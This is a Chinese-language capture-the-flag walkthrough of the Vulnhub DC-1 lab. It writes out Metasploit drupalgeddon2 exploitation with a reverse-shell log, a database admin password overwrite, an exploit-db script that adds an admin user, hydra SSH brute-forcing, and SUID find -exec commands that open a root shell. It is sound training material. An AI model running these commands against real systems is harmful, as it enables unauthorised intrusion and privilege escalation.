前文分享了Vulnhub靶機滲透的環境搭建和JIS-CTF題目,採用Nmap、Dirb、中國蟻劍、敏感文件分析、SSH遠程連接、Shell提權等獲取5個flag。本文將講解DC-1提權和Drupal漏洞利用,通過信息收集、CMS漏洞搜索、Metasploit反彈shell、提權及資料庫爆破獲取flag。本文是一篇Web滲透的基礎性文章,希望對您有所幫助。
作者作為網絡安全的小白,分享一些自學基礎教程給大家,希望你們喜歡。同時,更希望你能與我一起操作深入進步,後續也將深入學習網絡安全和系統安全知識並分享相關實驗。總之,希望該系列文章對博友有所幫助,寫文不容易,大神請飄過,不喜勿噴,謝謝!
從2019年7月開始,我來到了一個陌生的專業——網絡空間安全。初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇「網絡安全自學」系列文章,艱難前行著。感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!
接下來我將開啟新的安全系列,叫「系統安全」,也是免費的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內網滲透、網絡攻防實戰等,也將通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步,加油~
推薦前文:網絡安全自學篇系列-100篇
https://blog.csdn.net/eastmount/category_9183790.html
話不多說,讓我們開始新的徵程吧!您的點讚、評論、收藏將是對我最大的支持,感恩安全路上一路前行,如果有寫得不好或侵權的地方,可以聯繫我刪除。基礎性文章,希望對您有所幫助,作者目的是與安全人共同進步,加油~
文章目錄:
一.DC-1題目描述及環境配置
1.題目描述
2.環境搭建
二.Vulnhub靶機滲透詳解
1.信息收集
2.CMS漏洞搜索
3.Metasploit漏洞利用
4.敏感信息分析獲取flag1和falg2
5.資料庫爆破
6.資料庫管理員密碼修改及獲取flag3
7.用戶信息獲取flag4
8.提權和Hydra爆破flag5
9.SSH遠程登錄
10.suid提權
三.總結
作者的github資源:
逆向分析:https://github.com/eastmountyxz/
SystemSecurity-ReverseAnalysis
網絡安全:https://github.com/eastmountyxz/
NetworkSecuritySelf-study
聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背後的原理,更好地進行防護。該樣本不會分享給大家,分析工具會分享。
一.DC-1題目描述及環境配置Vulnhub是一個特別好的滲透測試實戰靶場,提供了許多帶有漏洞的滲透測試虛擬機下載。作者會深入分析20多個案例來熟悉各種Web滲透工具及方法,希望能幫助到您。
1.題目描述靶場題目:DC: 1
靶場地址:https://www.vulnhub.com/
entry/dc-1-1,292/
難度描述:包含5個Flag,初級難度,最終目標是在root主目錄中找到並讀取該標誌
靶場作者:DCAU
下載地址:https://download.vulnhub.com/
dc/DC-1.zip
Description
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS. There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root’s home directory. You don’t even need to be root to do this, however, you will require root privileges. Depending on your skill level, you may be able to skip finding most of these flags and go straight for root. Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
第一步,下載資源
第二步,打開VMware虛擬機安裝靶場
找到我們剛才下載的文件,導入虛擬機。
選擇存放的位置,然後點擊導入。如果出現未通過OVF規範一致性或虛擬硬體合規性檢查,請單擊「重試」導入。
第三步,導入完成之後,設置NAT網絡模式,內存設置為1G,硬碟設置為4GB
注意,我們需要將靶機和kali放在同一個區域網下,保證能通信。
第四步,點擊開啟虛擬機
此時伺服器處於開啟狀態,開始Kali操作吧!最早我一直去找用戶名和密碼嘗試登錄,後來想這個靶場應該是讓你通過其他系統來滲透的。哈哈,畢竟我也是初學者,遇到任何簡單問題都理解。
二.Vulnhub靶機滲透詳解1.信息收集第一步,目標IP探測
首先需要探測目標靶場的IP,推薦兩種方法。
方法1:使用arp-scan命令探測目標的IP位址
arp-scan -l
目標IP為192.168.44.144
方法2:使用netdiscover識別目標主機
第二步,埠掃描
nmap命令的基本用法如下:
輸入命令如下:
掃描結果(主機開放埠)如下,常用的埠22和88,也需要注意一些特殊的埠可能存在漏洞。
22:SSH遠程連接
80:HTTP網站協議
111:RPCBInd協議
45684:敏感埠
注意:在信息掃描中,目錄掃描是接下來的操作。但這裡作者沒有進行目錄掃描,因為該靶場考察一個CMS漏洞利用,後續也會有目錄掃描操作。
2.CMS漏洞搜索接著我們通過IP直接訪問Web服務,這是一個Drupal搭建的網站。
推薦使用插件Wappalyzer進行網站指紋識別,也可以發現該網站是使用Drupal CMS的管理系統。
我們可以嘗試在網上搜索這個cms的漏洞利用方式,可以發現漏洞編號為:
使用AWVS進行掃描,得到該頁面存在Drupal的一個漏洞CVE-2018-7600。
3.Metasploit漏洞利用接下來使用metasploit工具對漏洞進行利用。
第一步,啟動metasploit
第二步,搜索drupal模塊,採用2018
搜索這個CMS在MSF中能進行利用的方法,前面我們已經查詢CVE-2018-7600是常見的漏洞。如果不知道的情況下,我們就需要一個個攻擊模塊的嘗試。
第三步,採用最新的2018漏洞嘗試攻擊,配置參數
第四步,反彈shell
具體內容如下,注意發現了第一個文件flag1.txt。
README.txtmsf5 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.44.144
RHOSTS => 192.168.44.144
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
[*] Started reverse TCP handler on 192.168.44.138:4444
[*] Sending stage (38247 bytes) to 192.168.44.144
[*] Meterpreter session 1 opened (192.168.44.138:4444 -> 192.168.44.144:33770) at 2020-04-10 22:25:12 +0800
meterpreter > shell
Process 3429 created.
Channel 0 created.
ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt
MAINTAINERS.txt
README.txt
UPGRADE.txt
authorize.php
cron.php
flag1.txt
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
themes
update.php
web.config
xmlrpc.php
在/var/www/下有個flag1.txt,提示我們查看配置文件。
雖然shell已經進入,但它並不是交互的shell,所以我們要進入交互式的shell。
使用python反彈一個交互式shell TTY。
注意,drupal的配置文件是 /sites/default/settings.php ,是資料庫連接配置文件。
接著發現了flag2以及資料庫帳號密碼。
登上資料庫查看相關信息。
<?php
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
由於Drupal的默認配置文件為 /var/www/sites/default/settings.php,查看發現了flag2和資料庫的帳號密碼,我們接著進入資料庫查看。
第一步,登錄資料庫
msql -u dbuser -p
username => dbuser
password => R0ck3t
database => drupaldb
第二步,資料庫基本操作
show database;
use drupaldb;
show tables;
發現用戶表為users,注意Drupal框架默認的用戶表就是users表。
第三步,查詢admin用戶
發現admin帳號和經過加密的密碼,flag2中給的提示暴力破解不是唯一的方法
輸出結果如下,但密碼加密且不是md5方式。如何破解密碼是接下來的關鍵。
mysql> select name,pass from users;
select name,pass from users;
+--+--+
| name | pass |
+--+--+
| | |
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
+--+--+
3 rows in set (0.00 sec)
該部分參考文章:
VulnHub::DC-1 - chalan630大佬
如何重置Drupal 7的用戶密碼 - xieyanxy9
忘記Drupal的管理員密碼的解決辦法 - drupalchina
方法一:利用PHP腳本修改管理員密碼
由於很多在線MD5爆破和MD5資料庫,可以查到很多MD5碼的原文,所以Drupal 7已不再採用Drupal 6和5簡單的MD5加密,而是採用一種新型的Hash加密方法。新型加密方法是「加了鹽(Salt)」的MD5碼,簡單理解就是並不會直接將password進行MD5加密,而會和用戶名或其它隨機字符串組合在一起後再MD5加密。
第一個破解方法是利用Drupal 7安裝目錄的scripts目錄下,有一些Drupal 7開發者準備好的PHP腳本,可以執行一些高級操作。其中有一個腳本名為password-hash.sh,它的功能是傳入一個密碼(字符串),即返回加密後的密碼字符串。
由於Drupal 7對資料庫加密的腳本位於網站根目錄scripts下,利用該腳本修改為新密碼123456,基本流程如下:
# php scripts/password-hash.sh 123456
php scripts/password-hash.sh 123456
password: 123456
hash: $S$DQrmfkgP1s7S3svvp/OdzHuGpZyt0oaIOIMuULnN6Zo.gxuq8MAu
接著我們再次登錄資料庫。
使用update語句修改密碼,代碼如下:
use drupaldb;
select name,pass from users;
update users set pass=』$… Zo.gxuq8MAu』 where name=『admin』;
select name,pass from users;
對原密碼進行替換,再登錄web服務,得到flag3。
主頁顯示如下圖所示:
可以在People頁面看到我們的管理員用戶信息。
對應的Flag3如下圖所示:
flag3的提示需要提升權限,使用「-exec」在shadow文件中,接下來需要先查看用戶列表。
方法二:查找可利用漏洞,添加新管理員帳戶
在exploitdb中有一個針對Drupal 7版本的攻擊腳本,可以增加一個admin權限的用戶帳號,第二種方法是通過該過程新增admin密碼。
第一步,查看Drupal版本,確定Drupal版本為7.24
第二步,使用searchsploit查找可利用漏洞。攻擊腳本適用於7.31以下,所以適合7.24版本。
第三步,利用drupal7.0版本漏洞增加有admin權限的用戶:eastmount
新增管理員用戶如下:
第四步,使用新添加的用戶eastmount登錄網站,在content模塊下找到flag3。
顯示flag3如下:
flag3提示需要提升權限,使用「-exec」在shadow文件中,接下來需要先查看用戶列表。
7.用戶信息獲取flag4首先,我再帶領大家回顧下整個滲透的流程。
1.metasploit反彈shell
msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.44.144
exploit
2.獲取www-data@DC-1用戶權限
shell
python -c 'import pty;pty.spawn("/bin/bash")'
cat /etc/passwd
find /root
flag3的提示提到了權限,於是我們嘗試查看用戶列表。
注意,/etc/passwd包含系統所有帳戶信息,只有超級用戶才有寫和訪問。該文件每個用戶佔一行用,分隔成七個欄位。如下圖所示:
發現flag4用戶,接著切換到falg4的home目錄,發現flag4.txt文件。flag4提示flag in root,接下來我們需要提權。
8.提權和Hydra爆破flag5我們使用find獲取root權限相關的信息,如下圖所示:
find命令是用來在指定目錄下查找文件。任何位於參數之前的字符串都將被視為欲查找的目錄名。如果使用該命令時,不設置任何參數,則find命令將在當前目錄下查找子目錄與文件,並將查找到的子目錄和文件全部進行顯示。
find(選項)(參數)
-exec<執行指令>:假設find指令的回傳值為True,就執行該指令
-perm<權限數值>:查找符合指定的權限數值的文件或目錄
發現最終flag文件,但是無權限打開,flag3中提醒需要使用「-exec」提權。
接著進行ROOT提權,核心步驟包括:
查看/etc/shadow文件,發現flag4用戶,並且flag4用戶可以登錄和密碼。所以我們使用hydra進行爆破。
/etc/shadow文件存儲的是/etc/passwd的密碼、存放安全用戶信息,格式如下:
接著使用hydra進行密碼爆破,最終爆破用戶和密碼為:flag4、orange。
注意,hydra爆破海量密碼比較耗時,所以擁有一些好的字典非常重要。
最終結果為:
login: flag4
password: orange
9.SSH遠程登錄接著使用flag4用戶進行ssh遠程登錄系統。
前面在flag4中提示root根目錄,接著進入到根目錄/root下找到thefinalflag.txt文本。
最終五個flag全部找到,遊戲結束!DC-1這個靶場的綜合性挺強的,也非常有趣。
注意,我們也可以直接利用find和-exec獲取最終的flag。
10.suid提權什麼是suid?
通俗的理解是其他用戶執行這個程序的時候可以用該程序所有者/組的權限。suid提權可以理解為某個文件有s標誌,並且它輸入root,當我們運行這個程序時就可以有root的權限,並且這個程序還能執行命令,那麼我們就能從普通用戶提升到root權限。常見suid提權的命令包括nmap、vim、find、bash等。
下面補充下suid提權方法,前面我們的www-data權限很低,通常拿到網站需要進行提權。找到一個屬於root有s權限的文件。
查看find的權限為root。
root提權。
接下來開始尋找flag,比如進入home目錄發現flag4文件。
這文件存儲的是/etc/passwd的密碼、存放安全用戶信息。
三.總結寫道這裡,這篇文章講解完畢,後續會更深入的分享。DC-1的滲透流程如下:
信息收集
(1) 目標IP探測 (arp-scan、netdiscover)
(2) Nmap埠掃描
CMS漏洞搜索
(1) Wappalyzer識別Drupal CMS管理系統
(2) 搜索Drupal漏洞編號CVE-2018-7600
Metasploit漏洞利用反彈shell
(1) 搜索drupal漏洞
(2) msf使用漏洞並配置參數
(3) 反彈shell
敏感信息分析
(1) 敏感信息獲取flag1
(2) python反彈交互式shell python -c 『import pty;pty.spawn("/bin/bash")』
(3) 獲取flag和資料庫帳號密碼
資料庫爆破
(1) 登錄資料庫 msql -u dbuser -p
(2) 查看用戶表users
(3) 發現admin用戶和密碼,但密碼加密
資料庫管理員密碼獲取
(1) 修改管理員密碼 php scripts/password-hash.sh 123456
(2) 資料庫update更新密碼 update users set pass=『MD5(123456)』 where name=『admin』;
(3) 登錄網站獲取flag3
(4) 利用漏洞和Python腳本新增用戶 searchsploit drupal
(5) python /usr/share/exploitdb/exploits/php/
webapps/34992.py -t http://192.168.44.144 -u eastmount -p eastmount
提權和Hydra爆破
(1) 用戶信息獲取flag4 cat /etc/passwd
(2) ROOT提權 find test -exec 『/bin/sh』 /;
(3) hydra爆破密碼 hydra -l flag4 -P passwords.txt ssh://192.168.44.144
SSH遠程登錄
suid提權,常見root提權命令
(1) find test -exec cat /root/thefinalflag.txt ;
(2) find test -exec 『/bin/sh』 /
(3) find / -user root -perm -4000 -print 2>/dev/null
(4) find / -perm -u=s -type f 2>/dev/null
(5) find / -user root -perm -4000 -exec ls -ldb {} ;
學安全一年,認識了很多安全大佬和朋友,希望大家一起進步。這篇文章中如果存在一些不足,還請海涵。作者作為網絡安全和系統安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行。編程沒有捷徑,逆向也沒有捷徑,它們都是搬磚活,少琢磨技巧,幹就對了。什麼時候你把攻擊對手按在地上摩擦,你就贏了,也會慢慢形成了自己的安全經驗和技巧。加油吧,少年希望這個路線對你有所幫助,共勉。
前文分享(下面的超連結可以點擊喔):
2020年8月18新開的「娜璋AI安全之家」,主要圍繞Python大數據分析、網絡空間安全、人工智慧、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的算法實現。娜璋之家會更加系統,並重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝。2021年繼續加油!
(By:Eastmount 2021-04-09 周五夜於武漢)
參考文獻:
[1] VulnHub-DC-1靶機滲透測試 - MzHeader
[2] VulnHub::DC-1 - chalan630
[3] Vulnhub靶機滲透測試實戰(一):DC-1(入門) - Jenny_Zhx
[4] Vulnhub系列:DC-1 - capelthwaite
[5] (vulnhub靶機)DC-1 - 深信服TraveNight
[6] VulnHub測試靶場DC-1 - wx5c99daab1f230
[7] Vulnhub DC-1靶機滲透學習 - This-is-Y
[8] 如何重置Drupal 7的用戶密碼 - xieyanxy9
[9] https://cybrary.in/dc-1-1-vulnhub-walkthrough/